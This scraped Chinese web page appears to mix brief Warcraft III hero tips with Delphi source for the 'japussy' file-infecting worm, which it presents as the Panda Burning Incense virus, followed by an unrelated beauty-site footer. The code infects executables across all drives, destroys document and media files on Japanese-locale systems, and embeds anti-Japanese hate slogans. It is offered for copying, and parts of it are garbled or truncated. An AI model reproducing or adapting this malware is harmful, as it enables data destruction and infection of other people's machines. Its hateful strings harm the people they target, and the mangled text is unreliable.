4熊猫的强大在于大战时候强大的片杀能力,因此用熊猫就要快速提高等级,没必要用低等级熊猫去骚扰对手。

5大战时熊猫的使用基本就是走位和酒火,没必要站着被破法吸魔或被NC连击秒掉。魔牌是熊猫最喜欢的,蓝瓶是熊猫必备的。如果有魔牌,吃蓝瓶的之前记得先放下。也可以让熊猫吃个魔免绕到敌人后面去喷小炮或蜘蛛。

想要做熊猫烧香,就要学会编程,熊猫烧香是用Delphi编写出来的,想做就要学Delphi了

以下是熊猫烧香代码:

program japussy;

uses

windows, sysutils, classes, graphics, shellapi{, registry};

const

headersize = 82432; //病毒体的大小

iconoffset = $12eb8; //pe文件主图标的偏移量

//在我的delphi5 sp1上面编译得到的大小,其它版本的delphi可能不同

//查找2800000020的十六进制字符串可以找到主图标的偏移量

{

headersize = 38912; //upx压缩过病毒体的大小

iconoffset = $92bc; //upx压缩过pe文件主图标的偏移量

//upx 124w 用法: upx -9 --8086 japussyexe

}

iconsize = $2e8; //pe文件主图标的大小--744字节

icontail = iconoffset + iconsize; //pe文件主图标的尾部

id = $44444444; //感染标记

//垃圾码,以备写入

catchword = 'if a race need to be killed out, it must be yamato ' +

'if a country need to be destroyed, it must be japan! ' +

' w32japussyworma ';

{$r res}

function registerserviceprocess(dwprocessid, dwtype: integer): integer;

stdcall; external 'kernel32dll'; //函数声明

var

tmpfile: string;

si: startupinfo;

pi: process_information;

isjap: boolean = false; //日文操作系统标记

{ 判断是否为win9x }

function iswin9x: boolean;

var

ver: tosversioninfo;

begin

result := false;

verdwosversioninfosize := sizeof(tosversioninfo);

if not getversionex(ver) then

exit;

if (verdwplatformid = ver_platform_win32_windows) then //win9x

result := true;

end;

{ 在流之间复制 }

procedure copystream(src: tstream; sstartpos: integer; dst: tstream;

dstartpos: integer; count: integer);

var

scurpos, dcurpos: integer;

begin

scurpos := srcposition;

dcurpos := dstposition;

srcseek(sstartpos, 0);

dstseek(dstartpos, 0);

dstcopyfrom(src, count);

srcseek(scurpos, 0);

dstseek(dcurpos, 0);

end;

{ 将宿主文件从已感染的pe文件中分离出来,以备使用 }

procedure extractfile(filename: string);

var

sstream, dstream: tfilestream;

begin

try

sstream := tfilestreamcreate(paramstr(0), fmopenread or fmsharedenynone);

try

dstream := tfilestreamcreate(filename, fmcreate);

try

sstreamseek(headersize, 0); //跳过头部的病毒部分

dstreamcopyfrom(sstream, sstreamsize - headersize);

finally

dstreamfree;

end;

finally

sstreamfree;

end;

except

end;

end;

{ 填充startupinfo结构 }

procedure fillstartupinfo(var si: startupinfo; state: word);

begin

sicb := sizeof(si);

silpreserved := nil;

silpdesktop := nil;

silptitle := nil;

sidwflags := startf_useshowwindow;

siwshowwindow := state;

sicbreserved2 := 0;

silpreserved2 := nil;

end;

{ 发带毒邮件 }

procedure sendmail;

begin

//哪位仁兄愿意完成之?

end;

{ 感染pe文件 }

procedure infectonefile(filename: string);

var

hdrstream, srcstream: tfilestream;

icostream, dststream: tmemorystream;

iid: longint;

aicon: ticon;

infected, ispe: boolean;

i: integer;

buf: array[01] of char;

begin

try //出错则文件正在被使用,退出

if comparetext(filename, 'japussyexe') = 0 then //是自己则不感染

exit;

infected := false;

ispe := false;

srcstream := tfilestreamcreate(filename, fmopenread);

try

for i := 0 to $108 do //检查pe文件头

begin

srcstreamseek(i, sofrombeginning);

srcstreamread(buf, 2);

if (buf[0] = #80) and (buf[1] = #69) then //pe标记

begin

ispe := true; //是pe文件

break;

end;

end;

srcstreamseek(-4, sofromend); //检查感染标记

srcstreamread(iid, 4);

if (iid = id) or (srcstreamsize < 10240) then //太小的文件不感染

infected := true;

finally

srcstreamfree;

end;

if infected or (not ispe) then //如果感染过了或不是pe文件则退出

exit;

icostream := tmemorystreamcreate;

dststream := tmemorystreamcreate;

try

aicon := ticoncreate;

try

//得到被感染文件的主图标(744字节),存入流

aiconreleasehandle;

aiconhandle := extracticon(hinstance, pchar(filename), 0);

aiconsavetostream(icostream);

finally

aiconfree;

end;

srcstream := tfilestreamcreate(filename, fmopenread);

//头文件

hdrstream := tfilestreamcreate(paramstr(0), fmopenread or fmsharedenynone);

try

//写入病毒体主图标之前的数据

copystream(hdrstream, 0, dststream, 0, iconoffset);

//写入目前程序的主图标

copystream(icostream, 22, dststream, iconoffset, iconsize);

//写入病毒体主图标到病毒体尾部之间的数据

copystream(hdrstream, icontail, dststream, icontail, headersize - icontail);

//写入宿主程序

copystream(srcstream, 0, dststream, headersize, srcstreamsize);

//写入已感染的标记

dststreamseek(0, 2);

iid := $44444444;

dststreamwrite(iid, 4);

finally

hdrstreamfree;

end;

finally

srcstreamfree;

icostreamfree;

dststreamsavetofile(filename); //替换宿主文件

dststreamfree;

end;

except;

end;

end;

{ 将目标文件写入垃圾码后删除 }

procedure smashfile(filename: string);

var

filehandle: integer;

i, size, mass, max, len: integer;

begin

try

setfileattributes(pchar(filename), 0); //去掉只读属性

filehandle := fileopen(filename, fmopenwrite); //打开文件

try

size := getfilesize(filehandle, nil); //文件大小

i := 0;

randomize;

max := random(15); //写入垃圾码的随机次数

if max < 5 then

max := 5;

mass := size div max; //每个间隔块的大小

len := length(catchword);

while i < max do

begin

fileseek(filehandle, i mass, 0); //定位

//写入垃圾码,将文件彻底破坏掉

filewrite(filehandle, catchword, len);

inc(i);

end;

finally

fileclose(filehandle); //关闭文件

end;

deletefile(pchar(filename)); //删除之

except

end;

end;

{ 获得可写的驱动器列表 }

function getdrives: string;

var

disktype: word;

d: char;

str: string;

i: integer;

begin

for i := 0 to 25 do //遍历26个字母

begin

d := chr(i + 65);

str := d + ':\';

disktype := getdrivetype(pchar(str));

//得到本地磁盘和网络盘

if (disktype = drive_fixed) or (disktype = drive_remote) then

result := result + d;

end;

end;

{ 遍历目录,感染和摧毁文件 }

procedure loopfiles(path, mask: string);

var

i, count: integer;

fn, ext: string;

subdir: tstrings;

searchrec: tsearchrec;

msg: tmsg;

function isvaliddir(searchrec: tsearchrec): integer;

begin

if (searchrecattr <> 16) and (searchrecname <> '') and

(searchrecname <> '') then

result := 0 //不是目录

else if (searchrecattr = 16) and (searchrecname <> '') and

(searchrecname <> '') then

result := 1 //不是根目录

else result := 2; //是根目录

end;

begin

if (findfirst(path + mask, faanyfile, searchrec) = 0) then

begin

repeat

peekmessage(msg, 0, 0, 0, pm_remove); //调整消息队列,避免引起怀疑

if isvaliddir(searchrec) = 0 then

begin

fn := path + searchrecname;

ext := uppercase(extractfileext(fn));

if (ext = 'exe') or (ext = 'scr') then

begin

infectonefile(fn); //感染可执行文件

end

else if (ext = 'htm') or (ext = 'html') or (ext = 'asp') then

begin

//感染html和asp文件,将base64编码后的病毒写入

//感染浏览此网页的所有用户

//哪位大兄弟愿意完成之?

end

else if ext = 'wab' then //outlook地址簿文件

begin

//获取outlook邮件地址

end

else if ext = 'adc' then //foxmail地址自动完成文件

begin

//获取foxmail邮件地址

end

else if ext = 'ind' then //foxmail地址簿文件

begin

//获取foxmail邮件地址

end

else

begin

if isjap then //是倭文操作系统

begin

if (ext = 'doc') or (ext = 'xls') or (ext = 'mdb') or

(ext = 'mp3') or (ext = 'rm') or (ext = 'ra') or

(ext = 'wma') or (ext = 'zip') or (ext = 'rar') or

(ext = 'mpeg') or (ext = 'asf') or (ext = 'jpg') or

(ext = 'jpeg') or (ext = 'gif') or (ext = 'swf') or

(ext = 'pdf') or (ext = 'chm') or (ext = 'avi') then

smashfile(fn); //摧毁文件

end;

end;

end;

//感染或删除一个文件后睡眠200毫秒,避免cpu占用率过高引起怀疑

sleep(200);

until (findnext(searchrec) <> 0);

end;

findclose(searchrec);

subdir := tstringlistcreate;

if (findfirst(path + '', fadirectory, searchrec) = 0) then

begin

repeat

if isvaliddir(searchrec) = 1 then

subdiradd(searchrecname);

until (findnext(searchrec) <> 0);

end;

findclose(searchrec);

count := subdircount - 1;

for i := 0 to count do

loopfiles(path + subdirstrings + '\', mask);

freeandnil(subdir);

end;

{ 遍历磁盘上所有的文件 }

procedure infectfiles;

var

driverlist: string;

i, len: integer;

begin

if getacp = 932 then //日文操作系统

isjap := true; //去死吧!

driverlist := getdrives; //得到可写的磁盘列表

len := length(driverlist);

while true do //死循环

begin

for i := len downto 1 do //遍历每个磁盘驱动器

loopfiles(driverlist + ':\', ''); //感染之

sendmail; //发带毒邮件

sleep(1000 60 5); //睡眠5分钟

end;

end;

{ 主程序开始 }

begin

if iswin9x then //是win9x

registerserviceprocess(getcurrentprocessid, 1) //注册为服务进程

else //winnt

begin

//远程线程映射到explorer进程

//哪位兄台愿意完成之?

end;

//如果是原始病毒体自己

if comparetext(extractfilename(paramstr(0)), 'japussyexe') = 0 then

infectfiles //感染和发邮件

else //已寄生于宿主程序上了,开始工作

begin

tmpfile := paramstr(0); //创建临时文件

delete(tmpfile, length(tmpfile) - 4, 4);

tmpfile := tmpfile + #32 + 'exe'; //真正的宿主文件,多一个空格

extractfile(tmpfile); //分离之

fillstartupinfo(si, sw_showdefault);

createprocess(pchar(tmpfile), pchar(tmpfile), nil, nil, true,

0, nil, '', si, pi); //创建新进程运行之

infectfiles; //感染和发邮件

欢迎分享,转载请注明来源:品搜搜测评网

原文地址:https://pinsoso.cn/meirong/3202311.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2024-02-09
下一篇2024-02-09

随机推荐

  • 精华露和精华液的区别

    1、质地不同:精华露是一种高度浓缩的护肤品,质地比较粘,比较适合干性肌肤。但是对油性皮肤来说,因为油脂分泌旺盛,如果涂太滋润的产品并不容易吸收,所以不太适合多种精华类的护肤品使用,以免因为吸收不了而出现营养过剩、粉刺等问题。精华液一般为液体

    2024-04-15
    1050200
  • 绿嫩香品园蚕丝套套盒怎么样

    都挺出众的。绿嫩是一个专注于肌肤护理的企业,旗下的护肤品、化妆品品质都挺出众的,绿嫩旗下的改善暗沉、补水修复套盒,真心非常好用。暗沉得到了修复,而且季节性过敏的问题也得到了缓解。欧惠这个品牌是起源于韩国的一个顶级护肤品牌了,也算是一个很高端

    2024-04-15
    62500
  • 妮维雅柔滑润肤乳真假?

    不是正规厂家进口过来的,没有中文标贴,按照国家化妆品包装的要求必须有中文标签的。你这个是泰国产的,很奇葩的是妮维雅的产品打印MFG和批号的,但是你这个确添加了有效期EXP,更奇葩的是你这个颜色怎么是这样的?这个应该是盈润丝柔保湿乳,这怎么会

    2024-04-15
    54700
  • 伊思红参和慈慌秀哪个好?

    慈慌秀。1、慈慌秀水乳套盒这个品牌在韩国有平民化妆品的称号,同时外包装也非常华贵,水乳特别好吸收,用下来感觉特别舒服,皮肤也很滋润,对于干皮是再合适不过了。2、伊思红参水乳添加了红参提取物,具有很好的紧致抗皱作用,适合30岁以上的人使用。一

    2024-04-15
    54500
  • 妮维雅小蓝罐国产版的所有评价?

    妮维雅小蓝罐国产版评价:1、妮维雅小蓝罐可以作为妆前打底,让妆容更加服帖。2、温和滋润,更易被肌肤吸收,给肌肤深层提供水分和养分的同时还能时刻得保湿肌肤的润泽。3、妮维雅小蓝罐可以用作妆前打底,滋润皮肤减少卡粉的情况。还能用作身体细节部位的

    2024-04-15
    40100
  • 雪花秀10件套翻译图片,雪花秀套盒怎么查询是否是正品

    雪花秀是这几年在国内热度以及知名度都很不错的韩国品牌,虽然旗下的产品有很多,但最近大家比较喜欢的还是他们家的雪花秀10件套装,下面就是雪花秀10件套翻译,雪花秀套盒怎么查询是否是正品的方法介绍,一起来看看。雪花秀10件套主要有:滋阴水2件(

    2024-04-15
    39300
  • 妮维雅和欧莱雅哪个好?妮维雅是哪国的品牌?

    妮维雅这个品牌大家都比较熟悉,很多人都会想到它们家的洗面奶,还经常被拿来和其他的护肤品牌做比较,比如说欧莱雅这个品牌,因为欧莱雅的护肤产和妮维雅一样也是有男士和女士的,那妮维雅和欧莱雅哪个好?妮维雅是哪国的品牌?1、妮维雅和欧莱雅哪个好妮维

    2024-04-15
    40300

发表评论

登录后才能评论
保存